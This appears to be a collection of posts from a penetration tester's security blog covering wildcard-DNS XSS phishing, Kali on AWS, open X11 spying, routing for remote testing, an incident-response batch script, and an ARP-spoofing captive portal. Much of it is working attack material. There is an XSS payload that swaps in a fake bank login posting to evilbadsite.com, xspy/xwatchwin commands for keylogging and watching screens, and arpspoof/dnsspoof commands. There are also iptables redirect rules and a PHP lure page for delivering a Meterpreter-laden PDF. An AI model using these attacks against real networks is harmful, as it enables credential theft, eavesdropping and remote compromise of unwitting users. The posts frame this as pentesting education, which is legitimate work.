Check your Logs – You May Be an Attack Platform

TL;DR: Millions of domains on the web use wildcard DNS records as “catch all’s” for all subdomains of their parent domain. When combined with a Cross-Site Scripting (XSS) flaw this allows remote attackers to use these sites to launch convincing XSS based spear phishing attacks that appear to source from these domains. These become free attack platforms for ne’er do-wells on the Internet.

If you want to see a practical example of an attack, skip down to section titled “Attack Proof of Concept“.

Also, to aide in understanding and to avoid having to read a bunch, I made a video (5:42 long) to compliment this blog: https://youtu.be/n6CWVh39DKI.

Background

While profiling organizations’ DNS for a pentesting engagement, or reviewing website access logs as a security analyst, you may come across oddities in URL’s accessed. You may see things like this:  http://obviouslynotreal.clientwebsite.com or http://XXXadultsite.clientwebsite.com. If you find that these requests are being honored, and resolve to the parent domain of the request, this is a telltale sign that the website is being used by malicious actors in a spearfishing campaign. And there is also a high probability there is an XSS in the site as well.

I’ve begun to notice when simply using search engines to passively profile clients external DNS presence for pentests that some odd results will pop-up. In one recent case, some very obvious fake subdomains were indexed by google, showing up in search results for: “site:clientdomain.com”. What was found to have happened was that malicious URLs used in spearfishing campaigns had been indexed by the Google spam filter (postini) for the client, and ended up in the search results for that clients domain. A side-bar discussion is what wildcard DNS records can do for (or how they can hurt) your brand. Having some nasty subdomains appear to be sanctioned portions for your company’s websites doesn’t look so hot.

This issue is not new (netcraft in 2005 netcraft in 2009), and has been reported on for years. But, not many people seem to care, or understand. If you’re a defender, perhaps this information can help you configure your logging systems to identify if attackers are using your hosts as attack platforms to lure victims via phishing. If you’re an assessor/pentester, perhaps you can start adding more context to why organizations should fix those external XSS flaws you’ve identified in your reports.

Some VERY brief background. Assuming you understand what DNS is (maps human readable names to IP addresses). A wildcard DNS record (something like *.yourdomain.com) is used by a huge number of domains. Research here shows millions.

A wildcard DNS record, like the one I just mentioned above, will match any subdomain for a parent domain. If a user types in “bogus.domain.com” the response will direct users to domain.com. Here’s a live example: this is an about page for garfield.com – http://garfield.com/jim-davis. Now browse – http://notreal.garfield.com/jim-davis. See, it took you to the same place? I think you see where I’m going. Anything you put in place of “notreal” in the previous URL will resolve to garfield.com.

This is because a wildcard DNS record is in use. Now the crux of the issue: If a website has an XSS flaw, attackers can launch more convincing attacks against victims using the wildcard domain and will prep-end more legitimate looking subdomain text at the front of the domain. The idea being to coerce the victim into clicking or browsing the link.

Here is an example to drive home the point: http://legitbank.portalforlogin.com.testingsecureauth.garfield.com/jim-davis

Users may often see the first part of the URL, a trusted known site, and ignore the remaining portions.

Now you can combine that with an XSS payload on the host site and you have a convincing attack. Many people’s understanding of XSS flaws stops at the alert boxes they’ve seen pop-up from pentests. What people don’t realize is that you have, in many cases, the full power of Javascript at your disposal when abusing XSS flaws. There is a handy trick phishers (and pentesters) use to weaponize XSS vulnerabilities: InnerHTML. You can use InnerHTML via JavaScript to rewrite the contents of a webpage, without ever having to leave the page. When a victim browses the site, the page is redrawn for their browser and they see what the attacker wants them to see, but they never actually leave the domain. Other attacks, that are common, are redirecting users to a malicious site or serving up content via an iFrame. The list of XSS attacks can go on and on.

To help prove the point, I will show an example of using a wildcard DNS record + XSS (using innerHTML) to attack a victim. Keep in mind, when someone is performing incident response, the source of the attacks could possibly be an innocuous domain. The attackers are leveraging the flaw to launch these attacks and the domains being used are often in the dark that they are helping the bad guys.

Attack Proof of Concept

Below is an image of a domain I own’s DNS config. Notice the wildcard entry.

The site at cyber-cyber-cyber.co also suffers from a XSS flaw (that I put there), in that if you provide JavaScript to the HTTP parameter user the JavaSript will be rendered by the browser.

If a user were to click on the following link

http://cyber-cyber-cyber.co/fishing.php?user=test<script>alert("im_vuln_to_xss")</script>

they would land on the page at cyber-cyber-cyber.co and the JavaScript between the <script> tags would execute.

In the below image the JavaScript code:

<script>alert("im_vuln_to_xss")</script>

is passed to the user parameter and causes an alert box to pop up on the page. This is the most generic, basic XSS flaw. The JavaScript is passed to the browser, and the browser executes it. Simple.

screenshot_xss_1

We can see, if we view the source of the above webpage, the script tags that had been passed via the URL looks like valid script tags to the browser, and is therefore executed.

Capture2

But you know this. Now let’s demonstrate a more real-world example of how this attack can abuse XSS and combine it with the wildcard DNS issue.

Rather than the JavaScript alert, I will use innerHTML to rewrite the content of the page to an attacker controlled form. I’ll also use a more convincing DNS name in an attempt to coerce a user into first clicking the link, then submitting their credentials.

First let’s abuse the wildcard DNS issue. We can prepend anything we want, so let’s try to make the user think they’re clicking a link to legitbank.com.

http://login.legitbank.com.uid-dfbdsbnbnrwnbwtrnq436534y35yfsd.cyber-cyber-cyber.co

Now examine this URL (which is not live, it is meant to be visually inspected) which is using innerHTML and a bogus subdomain (note i’ve made it multiple lines for easier viewing, this is one link):

http://login.legitbank.com.uid-dfbdsbnbnrwnbwtrnq436534y35yfsd.cyber-cyber-cyber.co/fishing.php?user=
test<script>document.documentElement.innerHTML = '<html>Totally Legit Bank Login
<img src="http://icons.iconarchive.com/icons/chrisbanks2/cold-fusion-hd/128/ dollar-sign-icon.png"></img>
<form action="http://evilbadsite.com/hax0rform.php">Username:<input type="text" name="username">Password:
<input type="password" name="password"><input type="submit" value="Submit"></form>
</html>';</script>

What happens when this URL is visited is the contents of the innerHTML portion of the JavaScript is written in the user’s browser; the HTML on the page is re-written just for that user’s session. In this case it is a simple HTML form, purporting to be from legitbank.com. Take note, the user is not redirected anywhere. From the browser’s perspective the user is sitting on the fishing.php page hosted at cyber-cyber-cyber.co. The HTML form is drawn up within the user’s browser.

This form will harvest the user’s credentials if they provide their credentials and click Submit. This is an example of how wildcard DNS + XSS can lead to a cheap and easy spear phishing attack, abusing otherwise benign websites on the web.

Advertisements

Kali on AWS

UPDATE: 01/24/2014 – The team at Offensive Security have put out a blog post announcing an official Kali AMI on the amazon marketplace. The AMI is free. Here’s the Offsec blog.

I recently decided I wanted a quick and simple way to spin up Kali instances on the Internet, and chose Amazon Web Services (AWS) for the task. Cursory Internet searches did not reveal much in the way of tutorials or how-to’s.

There are probably {better, easier, faster} methods to get a Kali instance on AWS, but I wanted to share the method I used along with some “gotchyas” I experienced along the way.

A little birdie tells me that the folks at Offensive Security may be posting official documentation or a blog on this very subject soon. I’ll add that info or a link to it to this post when/if that comes to pass.

My method’s prerequisites

1). Access to VMware vSphere/vCenter 4.0, 4.1, 5.0, or 5.1 (I used vCenter 5.1)
2). A Kali VM (installed on vSphere)
3). AWS account
4). The EC2 VM Import Connector vApp (virtual appliance)

Steps

Step 1

Install Kali as a VM on your VMWare hypervisor. Using the EC2 Connector vApp requires the Linux distro to be x64 so I used the “Kali Linux 1.0.5 64-Bit ISO”. I chose a 20GB hard drive and 1GB RAM when creating the VM. Choose all partitions on a single drive.

Gotchya – Kali Changes

I could not get this process to work with the current kernel Kali was using (3.7). I downgraded to 3.2 (apt-get install linux-image-3.2.0-4-rt-amd64). I know this is probably not the best idea, but I kept getting “incompatible kernel errors” when migrating.

Also, I set the grub timeout to 2 randomly thinking it would boot into the first kernel quickly, rather than timeout, and removed the 3.7 kernel options from grub so that only 3.2 showed up. This could be an issue with the EC2 Connector vApp, I’m not sure. Without these settings I got errors.

Don’t forget to enable sshd on startup, or else you’ll have no way to access the machine once its on AWS.

Step 2

Install the EC2 VM Import Connector vApp on your VMware hypervisor. There is Amazon documentation on installing the vApp here

Gotchya – Time not Sync’d

Make sure the time on the EC2 vApp is correct in relation to the real world. The time is UTC, you can go to the vApp console and log in as root (no password) and set the time. If your time is off it will not login to the AWS API.

Step 3.

Shutdown the Kali VM on the VMware hypervisor. Notice the new tab (Import to EC2) that appears on the right of the VMware tabs after you installed the EC2 connector vApp.

import2ece2

Select your Kali VM in the left hand pane of the hypervisor management console and click the Import to EC2 tab. You will be prompted for your AWS Access ID and Secret key. Amazon docs for that here.

Now select your instance parameters. We are limited to x64 bit Linux, and the instance types we can choose from. We can resize these later, though. However, I chose the lowest of thew two (General Purpose Extra Large = m3.xlarge). The lowest I have been able to resize this to is a c3.large instance (0.150 an hour). More experimentation is needed here.

instance_params

Now click Import to EC2 and wait for the task to finish.

That’s it. You know have an EBS backed instance of Kali running on AWS.

kali_ec21

Like I said, you’ll probably want to resize the instance to c3.large, or experiment further to try to get the instance type to a smaller/cheaper instance. Maybe less HD space?

Spying On Screens and Keystrokes – The Dangers of Open X11

This is not a ground breaking 0-day exploit, nor is it intense new research.  I recently needed to do something that I had done a long time ago, and not very often.  I knew the theory, and it seemed straightforward: I needed to take advantage of an open X11 server during an engagement and realized, while it seemed trivial, I didn’t really remember what to do.  It took me a bit of Goole-fu to find the tools and instructions to get me where I needed to be.  Since I use this blog as my running notepad I’ll put it here for posterity’s sake, and maybe it’ll help someone out in the future who’s searching for answers just like I was.

Now onto the tools you’ll need.  Grab xspy ( or use your BackTrack VM /pentest/sniffers/xspy) and xwatchwin. I found xwatchwin here.

You also need to install xutils-dev (because you’ll need to run xwininfo). On Ubuntu i used

 apt-get install xutils-dev

We need to discover the window ID to pass to xwatchwin. For this I use xwininfo:

xwininfo -root -display remote-IP:0

If you receive output similar to what’s shown below take note of the Window ID.

wininfo1

To begin capturing key strokes issue this command (optionally pipe to log file if you want)

./xspy -display remote_ip:0 >> keys-log.txt

Below is an example of running this command and viewing the live keystrokes from another machine (would be cooler if i put up a vid, eh?).

xspy

Notice you get all of the keys, even the up key, backspace and CTRL+C.

To begin spying on the active desktop issue this command

./xwatchwin remote-ip:0 -w window-id

In the earlier output from xwininfo we saw that the window ID was 0xb6 (click picture for better view).

xwatchwin

The xwatchwin command, if successful, will launch a window that displays the remote users’ desktop (or whatever is on their X11 session) for you viewing delight.

If you’re out there and happen across an open X11 server listening that is a BIG deal. You can grab all of the keystrokes of the logged on user (ALL of them including passwords put in blind for SSH, etc.).  You can also remotely spy on the current X session, as well.  Not as exciting if it’s a server and no one’s logged in, but still brutal in my opinion.  If you run your organizations’ vulnerability scans  and you find open and unauthenticated X11 servers you need to remedy those findings with a quickness.

You can mitigate this threat by using the old school xhost method, host based firewall, or not allowing gdm, lightdm (or whatever display manager you use) to listen on TCP.  This threat is bad enough on a well protected internal server behind layers of firewalls and that is normally managed via SSH; imagine if this was open on a laptop that someone took to an internet cafe or the airport?  Anyone with a little know how could watchlog every move and keystroke they took!

References:

http://barcodereader.wordpress.com/2009/02/19/how-to-secertly-watch-in-x/

Remote Pentest Setup – Multiple Default Gateways

Sometimes I’ll have an internal security assessment lined up and the client is amenable to having a remote testing device sent to them.  The goal being to be able to perform an internal penetration testsecurity assessment without having to physically be there.  This setup is win-win in my opinion: cuts down on travel costs which is good for everyone.  If you think about it, you don’t really need to be there, you just have to get access to the network.  You can even perform wifi pen testing, as long as your remote setup is near an AP.

I like to have a dedicated interface for ONLY remote access (sshnx serverfreenx or openvpn reverse back to me), when I’m doing 100% remote assessments.  Then I have a second interface for attackingscanning etc.  If wireless is in scope I’ll have my third interface (wlan obviously).

When I first started setting the remote machines up I experimented quite a bit.  I found that the setup was “flaky” if you simply assigned IP’s to the interfaces and hoped it worked.  I messed around with trying to manually set multiple default gateways, but that didn’t work very well.  I also found that a lot of tools (even the ones that allow you to choose an interface) will not sendreceive ALL traffic over the one you specify.

The solution that I chose was using IP ROUTE and IP RULE to ensure that any traffic sent to or from an interfaceIP would use the default gateway that i assigned it.

Example:

eth0 will be DHCP – It’s the interface the client can plug into their internal network.  You’ll get an IP from DHCP (with the default gateway).

eth1 will be statically set, and will be for your remote access (either reverse of bind).

First we need to create a special routing table:

 echo "1 pentest" >> /etc/iproute2/rt_tables 

Next, we set the routes:

ip route add 10.1.1.0/24 dev eth1 src 10.1.1.2 table pentest

ip route add default via 10.1.1.1 dev eth1 table pentest

Notice above we added the information to populate the “pentest” routing table.  It has a route and a default gateway now.

Below we set the rules to send all the traffic to and from an IP address to the pentest routing table.

ip rule add from 10.1.1.2/32 table pentest

ip rule add to 10.1.1.2/32 table pentest

Now, no matter what happens to eth0 your remote access interface is solid.  You can do the same thing for a wlan interface as well.  Simply create a second routing table and add the routes and rules.

I pulled most of this technique from this site.  Works like a champ for my purposes!

Incident Response Script

When dealing with PC’s that are suspected to have a virus there are a myriad of tools to perform “forensic” tasks. However none of them met ALL of my needs. Most got some of the data, were constrained to a particular format, or required user intervention. Not helpful if you want to instruct tier 1 support staff to grab a quick snapshot of data and put it into a ticket. Or, perhaps you want to automate the virus incident response acquisition process. Either way I like to customize solutions to fit my needs and I recently did just that. I figured I’d share my script with the public in case someone else finds a use for this.

NOTE: This is not a forensically sound acquisition, since it requires you to copy files to the PC and run them locally.

I have recently (and repetitively) needed to grab a lot of info from PC’s that are coming up infected with viruses and the enterprise class virus suite in use is mums the word.

I wanted to grab the usual suspects:
Prefetch
TCPUDP connections (And map them to their servicesbinariesPID’s)
Open files
Event logs
Services
Usercomputer temptemp internet files
IE history
Some reg keys (autorun, MRU etc.)

I cooked up a windows script that uses free tools (mostly Sysinternals, TZWorks and Nirsoft ) to do just that.

I like the output; it’s what I’m used to and works for me. Please feel free to comment on additions or where this can be modified.

Unfortunately the tools’ EULAs do not allow the tools to be redistributed so I will simply post the file structure and script (with links for the tools).

Also, some of the info I gather is in a format that can be analyzed with other tools after the fact. For example: for the prefetch info I gather the data with pf.exe, but I love the tool WinPrefetchView by Nirsoft, so I also copy the entire prefetch directory to be viewed by that tool later. Similarly, I like to use IEHistoryView (again Nirsoft) so I copy users’ history folders as well.

Everything else is a text file that contains the juicy bits of information that can help put together a picture of a system and help identify any rogue applicationsservices that are running. I also copy the users’ temp and temporary internet directories (so be careful if there’s a live virus binary in there!).

This works for XP, and I think Windows 7 (untested on 7, I think the only addition would be a few new reg locations).

I hope you find this useful.

Enoy!

The folder structure is important, since my script depends on it.

My folder structure looks like this:

(IRT = Incident Response Tool)

Below it is two folders, bin and logs.

Beneath bin I have the following files:
pf.exe
NOTE: you can just download the PSTools zip file which contains all of the below tools
PsExec.exe
psfile.exe
PsInfo.exe
PsList.exe
psloglist.exe
PsService.exe
Tcpvcon.exe

In the root of the IRT folder place a windows command file. I call mine IRT.cmd.

IRT.cmd:

@echo off
mkdir "%~dp0logs%computername%services"
mkdir "%~dp0logs%computername%network"
mkdir "%~dp0logs%computername%system_logs"
mkdir "%~dp0logs%computername%REG"
mkdir "%~dp0logs%computername%Windows Temp"
cd bin
psservice /accepteula >>"%~dp0logs%computername%services%computername%_services.txt"
psloglist application /accepteula >> "%~dp0logs%computername%system_logs%computername%_app_log.txt"
psloglist system /accepteula >> "%~dp0logs%computername%system_logs%computername%_sys_log.txt"
psloglist security /accepteula >> "%~dp0logs%computername%system_logs%computername%_sec_log.txt"
pslist /accepteula >> "%~dp0logs%computername%services%computername%_processes.txt"
psinfo /accepteula >> "%~dp0logs%computername%services%computername%_sys_info.txt"
psfile /accepteula >> "%~dp0logs%computername%network%computername%_open_files.txt"
tcpvcon -a /accepteula >> "%~dp0logs%computername%network%computername%_network.txt"
dir c:windowsprefetch*.pf /b /s | pf -v >> "%~dp0logs%computername%%computername%_pf_out.txt"
REM netstat -anob >> "%~dp0logs%computername%_netstat.txt" <--- don't need these due to tcpvcon
cd Fport-2.0
fport >> "%~dp0logs%computername%network%computername%_fport.txt"
cd ../
xcopy c:windowsprefetch "%~dp0logs%computername%prefetch" /E /Y /I
for /F "tokens=1,2 delims= " %%A IN ('dir /B "%userprofile%.."') DO xcopy "%userprofile%..%%ALocal SettingsTemp" "%~dp0logs%computername%temp%%Atemp" /E /Y /I /H
for /F "tokens=1,2 delims= " %%A IN ('dir /B "%userprofile%.."') DO xcopy "%userprofile%..%%ALocal SettingsHistory" "%~dp0logs%computername%history%%Ahistory" /E /Y /I /H
for /F "tokens=1,2 delims= " %%A IN ('dir /B "%userprofile%.."') DO xcopy "%userprofile%..%%ALocal SettingsTemporary Internet FilesContent.IE5" "%~dp0logs%computername%temp%%Atemp_internet" /E /Y /I /H
xcopy "C:WindowsTemp" "%~dp0logs%computername%Windows Temp" /E /Y /I /H
for /F %%A IN ('reg query HKU') DO reg query "%%ASoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSaveMRU" /s >> "%~dp0logs%computername%REGmru.txt"
for /F %%A IN ('reg query HKU') DO reg query "%%ASoftwareMicrosoftInternet ExplorerTypedURLs" /s >> "%~dp0logs%computername%REGmru.txt"
for /F %%A IN ('reg query HKU') DO reg query "%%ASoftwareMicrosoftWindowsCurrentVersionRun" /s >> "%~dp0logs%computername%REGrun.txt"
for /F %%A IN ('reg query HKU') DO reg query "%%ASoftwareMicrosoftWindowsCurrentVersionRunOnce" /s >> "%~dp0logs%computername%REGrun.txt"
reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun" /s >>"%~dp0logs%computername%REGrun.txt"
reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnce" /s >>"%~dp0logs%computername%REGrun.txt"
reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx" /s >>"%~dp0logs%computername%REGrun.txt"
reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunServices" /s >>"%~dp0logs%computername%REGrun.txt"
reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce" /s >>"%~dp0logs%computername%REGrun.txt"
reg query "HKLMSYSTEMCurrentControlSetServices" /s >>"%~dp0logs%computername%REGservices.txt"
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options" /s >>"%~dp0logs%computername%REGdebugger.txt"
reg query "HKCRexefileshellopencommand" /s >>"%~dp0logs%computername%REGshell_open.txt"

Like I said above I also have some other tools I use for static analysis that the script does not use. But, I can use them on the PC in question (like tcpview or currports) or I can use some to view the output from the script (WinPreFetchView and IEHistoryView). Here’s a list of the tools I prefer and keep with me.

currports
IEHistoryview
ofview
ProcessMonitor
TCPView
winprefetchview

After running IRT.cmd a folder will be created beneath the logs directory containing sub folders with the data gathered by the script.

Happy hunting!

Captive Audience: Using iptables and php as a home grown captive portal during penetration tests

This, like all penetration testing methods or discussions should be used for educationalprofessional purposes only. The purpose of this post is to show an interesting client based attack method that can be used in penetration testing. Abusing networks or computers that you do not have permission to be messing with is not smart and can get you into a lot of trouble.

The idea of a captive portal is not new. Anytime you’ve gone to a hotel or local coffee shop and seen the terms of service for using their free Wifi you’ve had your web traffic redirected to a page of the establishment’s choosing and been forced to view said page. When I put it like that doesn’t it sound nasty? And, in the world of pen testing, where browserclient side exploits are a shoe in into networks doesn’t the idea of a captive portal sound like an amazing tool? I hesitate to say this will work 100% of the time, because there are absolutely no absolutes. And while I never exaggerate (never in a million years!) I feel justified in saying this should work most of the time. For me, this attack vector has worked 100% of the time. Some of the scenarios where I’ve used the below method are wireless security testing, or internal penetration tests (or as a parlor trickimpromptu security training session).

What follows is a not so brief tutorial demonstrating how to setup a captive portal for the purpose of obtaining remote access to a target computer.

Summary of attacks used: ARP spoofing MITM, DNS spoofing, traffic redirection, malicious pdf file.

The gist of the attack is this: you’re on a LAN. You play man in the middle and force ALL of the target’s web traffic to view your page first before you pass it on to the intended destination. The target (be it a single host or an entire broadcast domain) is forced to view a page you choose. This could be used to supply browser exploits, steal credentials, or drop payloads on to the victim. NOTE: if you do attempt this against an entire subnet you better have one heckuva laptop with several NICs or you will DOS the network.

There are a lot of open source distros that are bundled captive portals, but I found this method to be the most customizable, and it suited my needs. I used the following site heavily as a reference when I started working on this attack a few months ago, and customized as I saw fit.

I’ll describe a scenario where a user is sent to a web page and has to open a malicious PDF and input a code from said PDF before they can continue browsing.

Let’s begin. I primarily use Backtrack (used BT4 R2 for this instance) when performing security duties, but I have also gotten very friendly with CentOS or the latest Ubuntu release. Most of the instructions below were developed while using Backtrack (some of the commands and dependencies are different for the different distros, but the gist is the same).

BT4 R2 comes with an older version of iptables. We will be marking packets and for this to work you need to download the latest source for iptables (version 1.4.10).

Remove the current installation: [bash]apt-get remove iptables[/bash]

Extract the contents of iptables-1.4.10.tar.bz2: [bash]tar –xvf iptables-1.4.10.tar.bz2[/bash]

Enter the newly extracted directory and use the make method to compile iptables from source.

./configure
make
make install

Check your work by issuing the

 iptables

command. You should see version info. Success reads iptables v1.4.10. Sometimes I’ve had to close the Konsole window and open a new one to see the new iptables version, don’t know why.

Now lets setup some of the other things in the environment you’ll need. First is conntrack.

apt-get install conntrack

Next we need to create an empty text file called users.

echo blah >/var/lib/users

Now we need to change the owner for the file to be www-data.

chown www-data /var/lib/users

You’ll see later what this file is used for. I don’t use it too much but like to have it because A). it doesn’t hurt anything and B). it does give you some information, and the more information about a target the better!

Next setup the rmtrack script. This script’s purpose is to remove connection data so that the target gets forwarded to the legit site. I again need to give the credit to this blog because it provided so many good examples and code snippets.

 /usr/sbin/conntrack -L 
    |grep $1 
    |grep ESTAB 
    |grep 'dport=80' 
    |awk 
        "{ system("conntrack -D --orig-src $1 --orig-dst " 
            substr($6,5) " -p tcp --orig-port-src " substr($7,7) " 
            --orig-port-dst 80"); }"

You’ll notice this only deals with HTTP traffic. Don’t worry about that for now, I’ll get more into that later.

Don’t forget to make /usr/bin/rmtrack executable

chmod +x /usr/bin/rmtrack

We need to setup sudoers so the apache account has permissions to run some commands. Use the

visudo

command and add the following entries to your sudoers file:

 www-data ALL = NOPASSWD: /sbin/iptables -I internet 1 -t nat -m mac --mac-source ??:??:??:??:??:?? -j RETURN
www-data ALL = NOPASSWD: /sbin/iptables -D internet -t nat -m mac --mac-source ??:??:??:??:??:?? -j RETURN
www-data ALL = NOPASSWD: /usr/bin/rmtrack [0-9]*.[0-9]*.[0-9]*.[0-9]*

Now on to the iptable rules:

You can copy and paste this into a script for ease of use. Just remember that you should clear all the iptables rules before making any new changes and reapplying them. I usually make two scripts, one with the iptables rules and one to clear them. I left some of the original iptables script comments but I’ll also go in to more detail further down. Be sure to change the two IP addresses below to your victim IP (or subnet) and your attacker IP.

Here are the rules:

 IPTABLES=/usr/local/sbin/iptables

# Create internet chain and add allow rules

# This is used to authenticate users who have already signed up

$IPTABLES -A FORWARD -s VICTIM IP -p udp -m udp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -A INPUT -p udp -m udp --sport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -N internet -t nat

# First send all traffic via newly created internet chain

# At the prerouting NAT stage this will DNAT them to the local

# webserver for them to signup if they aren't authorized

# Packets for unauthorized users are marked for dropping later

$IPTABLES -t nat -A PREROUTING -j internet

###### INTERNET CHAIN ##########

# Allow authorized clients in, redirect all others to login webserver

# Add known users to the NAT table to stop their dest being rewritten

# Ignore MAC address with a * - these users are blocked

# This awk script goes through the /var/lib/users flat file line by line

#awk 'BEGIN { FS="t"; } { system("$IPTABLES -t nat -A internet -m mac --mac-source "$4" -j RETURN"); }' /var/lib/users

# MAC address not found. Mark the packet 99

$IPTABLES -t nat -A internet -j MARK --set-mark 99

# Redirects web requests from Unauthorized users to logon Web Page

$IPTABLES -t nat -A internet -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination ATTCKER IP

################################

# Now that we've got to the forward filter, drop all packets

# marked 99 - these are unknown users. We can't drop them earlier

# as there's no filter table

$IPTABLES -t filter -A FORWARD -m mark --mark 99 -j DROP

We’re going to be using DNS spoofing so the URL’s in the address bar don’t arouse suspicion. We need to allow DNS queries to egress, as well as allow traffic to port 53 on our own box which will return bogus responses, which is what the first two iptabels rules does.

Then we create a new chain called “internet”. The rest of the rules are spelled out in the above comments.

Basically what will happen here is your targets traffic will pass through your machine, like your machine is the router. The iptables rules will deny all traffic (except DNS queries) and forward all HTTP traffic to your own attacking box, where you serve up your PHP page.

A quick note on the /var/lib/users file. This will keep a persistent list of folks who “Register” with your captive portal. After the attack completes their MAC (among other things) is noted in this file. When you run the iptables script the awk statement will grab these users and allow them through without having to hit your page again. It’s optional. If you omit the file tho you’ll need to kill it’s reference in the php page.

Now to the PHP file. The basics are your PHP file will handle the URL header rewriting, as well as forwarding the target to their originally requested site after they’ve opened your malicious PDF.

Remember you can’t have HTML code within PHP tags so you need to start and end them appropriately within the page. There’s some dummy html in the below PHP file which is a simple form asking for a code. Once they input the proper code into the text box and hit submit their mac address will be added to an iptables rule that will allow them Internet access, and the php header operation will forward them to the site they requested originally. The php if statement is waiting for an expected value to be supplied to the code variable; that value is sitting in the PDF file you created (with metasploit). You can set it to whatever you’d like, just change the php code. Be sure to name this file index.php in the /var/www directory. Delete index.html. and I suppose you should probably start apache too…

Change the variable at the top to whatever you want (you’ll be spoofing the DNS for this address, that will be the URL they see in their browser address bar). Also you can change the expected value for the code variable to whatever you want.

Don’t forget about starting your webserver.

start-apache

Index.php file:

<?php

$server_name = "www";
$domain_name = "fakename.com";
$site_name = "Fake Site Name:";

// Path to the arp command on the local server
$arp = "/usr/sbin/arp";

// The following file is used to keep track of users
$users = "/var/lib/users";

// Check if we've been redirected by firewall to here.
// If so redirect to registration address
if ($_SERVER['SERVER_NAME']!="$server_name.$domain_name") {
  header("location:http://$server_name.$domain_name/index.php?add="
    .urlencode($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']));
  exit;
}

// Attempt to get the client's mac address
$mac = shell_exec("$arp -a ".$_SERVER['REMOTE_ADDR']);
preg_match('/..:..:..:..:..:../',$mac , $matches);
@$mac = $matches[0];
if (!isset($mac)) { exit; }

$code = $_POST['code'];

if ($code!="1234") {
  // code doesn’t equal expected value, so display form
  ?>
  <h1>Welcome to <?php echo $site_name;?></h1>
  To access the Internet you must first enter code from pdf below:<br><br>
  <a href="./fake.pdf">PDF File Here</a>
  <form method='POST'>
  <table border=0 cellpadding=5 cellspacing=0>
  <tr><td>Your email address:</td><td><input type='text' name='code'></td></tr>
  <tr><td></td><td><input type='submit' name='submit' value='Submit'></td></tr>
  </table>
  </form>

  <?php
} else {
    enable_address();
}

// This function enables the PC on the system by calling iptables, and also saving the
// details in the users file for next time the firewall is reset

function enable_address() {

    global $name;
    global $email;
    global $mac;
    global $users;

    file_put_contents($users,$_POST['name']."t".$_POST['email']."t"
        .$_SERVER['REMOTE_ADDR']."t$mact".date("d.m.Y")."n",FILE_APPEND + LOCK_EX);
   
    // Add PC to the firewall
    exec("sudo iptables -I internet 1 -t nat -m mac --mac-source $mac -j RETURN");
    // The following line removes connection tracking for the PC
    // This clears any previous (incorrect) route info for the redirection
    exec("sudo rmtrack ".$_SERVER['REMOTE_ADDR']);

    sleep(1);
    header("location:http://".$_GET['add']);
    exit;
}

// Function to print page header
function print_header() {

  ?>
  <html>
  <head><title><?php echo $site_name;?></title>
  <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
  <LINK rel="stylesheet" type="text/css" href="./style.css">
  </head>

  <body bgcolor=#FFFFFF text=000000>
  <?php
}

// Function to print page footer
function print_footer() {
  echo "</body>";
  echo "</html>";

}

?>

You can get creative with the HTML portion of the php page. Get a convincing page setup (wget magic!) and inform your user they need to view some agreement or accept some terms before they can continue using the web. The purpose of the having them enter a code is that the user will have no recourse but to open your malicious pdf and get the code to continue browsing. Once they do you can have your malcode execute. After they put in the code they keep browsing none the wiser. You could just have a page that has an iframe that redirects to a browser exploit, or have a form setup to gather user data. During pen tests tho this is a stark reminder to your clients how dangerous an attacker on the LAN is. This is especially useful with businesses who have a guest wireless network. Most of this attack is mitigated by using static ARP tables or something like arpwatch on the gateway. While they don’t care so much about their customers’ data security, it can be a real eye opener. Also, a lot of companies use wireless and while most (some still do though) don’t use the ancient WEP for security, a lot still employ WPA2 PSK rather than the enterprise flavor using PKI. If the WPA2 passphrase is not complex then it’s just as easy to get into as WEP!

Recently I demonstrated this attack on a hospital guest wireless network. I also explained the ease of mitigating (at least the MITM portion) to the network admin staff and the next week the hospital had enabled some anti-arp spoofing features that had already existed in their wireless infrastructure, they had just never turned them on!

A note on 443: Without presenting ugly certificate errors and going through the hassle of setting up SSL on your apache server, HTTPS is simply denied by the iptables rules. Any HTTP site is redirected to your page, any HTTPS browsing is simply timed out.

Coming down the home stretch, now its just the MITM and DNS spoofing attack.

I had originally done this step with ettercap, since it had the nice DNS spoofing switch and I was familiar with it. However, ettercap uses it’s own means of forwarding IP packets, and does not leave it to the kernel. This means all HTTPS traffic bypasses our iptables rules and is allowed. The reason it bypasses SSL traffic is I don’t enable the ettercap SSL dissection. I don’t use ettercap all the time for MITM since it’s SSL packet dissection method requires the user to accept a bogus SSL certificate. I don’t like that, not that most users won’t do it, but because some won’t know how. I don’t want them to just get confused and close the browser. I make it easy for them to get popped!

As an alternative I used dsniff’s arpsoof and dnsspoof to get the desired results.

First enable forwarding in the kernel

echo 1 > /proc/sys/net/ipv4/ip_forward

Next kick off arpsoof towards the target and also the gateway.
You need to issue two arpspoof commands

The first:

arpspoof –i interface_name –t victim_ip gateway_ip >>/dev/null 2>&1 &

poisons the targets arp cache and sends all of the targets traffic to you.

Next you need to do the same thing to the gateway so you get the responses

arpspoof –i interface-name –t gateway _ip victim_IP >>/dev/null 2>&1 &

Since stderr is being piped to stdout and stdout is sent to /dev/null you’ll need to kill the arpspoof pids when you’re done to stop arp spoofing.

As the icing on the cake we’ll setup DNS spoofing so the URL in the victim’s address bar isn’t a local address.

Setup a text file in hosts format

192.168.x.x www.fakename.com

Set the name to be the website name you used in the PHP file (those first variables you set: $server_name and $domain_name)

In another Konsole tab issue the dnsspoof command

 dnsspoof –i interface_name –f host_file_you_created_above

You can use whatever kind of sneaky payload you want, it’s just easy to use MSF to bind a meterpreter exe into a pdf (be sure to edit the “<a href” appropriately in your PHP file). Once that’s in your web root directory just wait.

Once a user who is being targeted by arpspoof tries to browse they will either be redirected to your bogus page, or if it’s an SSL site they’re trying to open they’re request will timeout (and they will hopefully attempt to browse to an HTTP page). I have yet to see a user who got suspicious and contacted anyone (it admin, or establishment staff), but simply opened the pdf, got the code and went along their merry way.

